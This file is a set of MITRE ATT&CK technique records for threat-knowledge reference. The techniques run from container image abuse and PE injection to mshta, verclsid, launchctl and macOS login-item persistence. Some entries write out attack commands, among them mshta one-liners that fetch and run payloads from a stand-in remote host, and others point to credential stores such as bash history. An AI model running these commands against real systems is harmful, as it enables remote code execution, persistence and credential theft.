An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. | enterprise-attack | Build Image on Host | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1612 external_id: T1612 source_name: Aqua Build Images on Hosts description: Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021. url: https://blog.aquasec.com/malicious-container-image-docker-container-host source_name: Docker Build Image description: Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021. url: https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild source_name: Aqua Security Cloud Native Threat Report June 2021 description: Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021. url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation | kill_chain_name: mitre-attack phase_name: defense-evasion | Containers |
Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. | enterprise-attack | Portable Executable Injection | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/002 external_id: T1055.002 source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | enterprise-attack | Verclsid | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/012 external_id: T1218.012 source_name: BOHOPS Abusing the COM Registry description: BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020. url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ source_name: Red Canary Verclsid.exe description: Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020. url: https://redcanary.com/blog/verclsid-exe-threat-detection/ source_name: LOLBAS Verclsid description: LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020. url: https://lolbas-project.github.io/lolbas/Binaries/Verclsid/ source_name: Nick Tyrer GitHub description: Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020. url: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 source_name: WinOSBite verclsid.exe description: verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020. url: https://www.winosbite.com/verclsid-exe/ | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.
A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.
Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.
Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). | enterprise-attack | Compromise Accounts | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1586 external_id: T1586 source_name: AnonHBGary description: Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017. url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
| enterprise-attack | Launchctl | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1569/001 external_id: T1569.001 source_name: Launchctl Man description: SS64. (n.d.). launchctl. Retrieved March 28, 2020. url: https://ss64.com/osx/launchctl.html source_name: Sofacy Komplex Trojan description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ | kill_chain_name: mitre-attack phase_name: execution | macOS |
Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | enterprise-attack | Botnet | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/005 external_id: T1584.005 source_name: Dell Dridex Oct 2015 description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation source_name: Imperva DDoS for Hire description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020. url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/ source_name: Norton Botnet description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).
Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) | enterprise-attack | Network Device CLI | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/008 external_id: T1059.008 source_name: Cisco IOS Software Integrity Assurance - Command History description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices | kill_chain_name: mitre-attack phase_name: execution | Network |
Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) | enterprise-attack | Bash History | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/003 external_id: T1552.003 source_name: External to DA, the OS X Way description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | kill_chain_name: mitre-attack phase_name: credential-access | Linux |
Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.
Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)
Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) | enterprise-attack | Downgrade Attack | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/010 external_id: T1562.010 source_name: Crowdstrike Downgrade description: Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023. url: https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/ source_name: Targeted SSL Stripping Attacks Are Real description: Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023. url: https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/ source_name: CrowdStrike BGH Ransomware 2021 description: Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021. url: https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/ source_name: att_def_ps_logging description: Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021. url: https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/ source_name: inv_ps_attacks description: Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021. url: https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ source_name: Mandiant BYOL 2018 description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021. url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique source_name: Praetorian TLS Downgrade Attack 2014 description: Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021. url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). | enterprise-attack | XPC Services | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1559/003 external_id: T1559.003 source_name: creatingXPCservices description: Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022. url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1 source_name: Designing Daemons Apple Dev description: Apple. (n.d.). Retrieved October 12, 2021. url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html source_name: CVMServer Vuln description: Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021. url: https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html source_name: Learn XPC Exploitation description: Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021. url: https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/ | kill_chain_name: mitre-attack phase_name: execution | macOS |
Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
| enterprise-attack | Virtualization/Sandbox Evasion | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1497 external_id: T1497 source_name: Deloitte Environment Awareness description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc source_name: Unit 42 Pirpi July 2015 description: Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019. url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ | kill_chain_name: mitre-attack phase_name: discovery | Windows |
Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). | enterprise-attack | Web Service | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1102 external_id: T1102 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)
In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) | enterprise-attack | Credentials In Files | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/001 external_id: T1552.001 source_name: CG 2014 description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014. url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html source_name: Unit 42 Hildegard Malware description: Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ source_name: Unit 42 Unsecured Docker Daemons description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021. url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ source_name: Specter Ops - Cloud Credential Storage description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019. url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 source_name: SRD GPP description: Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015. url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx | kill_chain_name: mitre-attack phase_name: credential-access | Windows |
Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) | enterprise-attack | DNS Calculation | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1568/003 external_id: T1568.003 source_name: Meyers Numbered Panda description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016. url: http://www.crowdstrike.com/blog/whois-numbered-panda/ source_name: Moran 2014 description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014. url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html source_name: Rapid7G20Espionage description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017. url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/ | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta) | enterprise-attack | Mshta | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/005 external_id: T1218.005 source_name: Cylance Dust Storm description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. url: https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf source_name: Red Canary HTA Abuse Part Deux description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017. url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ source_name: FireEye Attacks Leveraging HTA description: Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017. url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html source_name: Airbus Security Kovter Analysis description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017. url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ source_name: FireEye FIN7 April 2017 description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html source_name: Wikipedia HTML Application description: Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017. url: https://en.wikipedia.org/wiki/HTML_Application source_name: MSDN HTML Applications description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017. url: https://msdn.microsoft.com/library/ms536471.aspx source_name: LOLBAS Mshta description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/ | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.
Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) | enterprise-attack | Login Items | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/015 external_id: T1547.015 source_name: Open Login Items Apple description: Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021. url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac source_name: Adding Login Items description: Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html source_name: SMLoginItemSetEnabled Schroeder 2013 description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021. url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/ source_name: Launch Services Apple Developer description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021. url: https://developer.apple.com/documentation/coreservices/launch_services source_name: ELC Running at startup description: hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021. url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/ source_name: Login Items AE description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021. url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788 source_name: Startup Items Eclectic description: hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021. url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/ source_name: hexed osx.dok analysis 2019 description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021. url: http://www.hexed.in/2019/07/osxdok-analysis.html source_name: Add List Remove Login Items Apple Script description: kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021. url: https://gist.github.com/kaloprominat/6111584 source_name: objsee mac malware 2017 description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. url: https://objective-see.com/blog/blog_0x25.html source_name: CheckPoint Dok description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021. url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/ source_name: objsee netwire backdoor 2019 description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021. url: https://objective-see.com/blog/blog_0x44.html source_name: objsee block blocking login items description: Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021. url: https://objective-see.com/blog/blog_0x31.html source_name: sentinelone macos persist Jun 2019 description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ source_name: Launch Service Keys Developer Apple description: Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021. url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1 | kill_chain_name: mitre-attack phase_name: privilege-escalation | macOS |
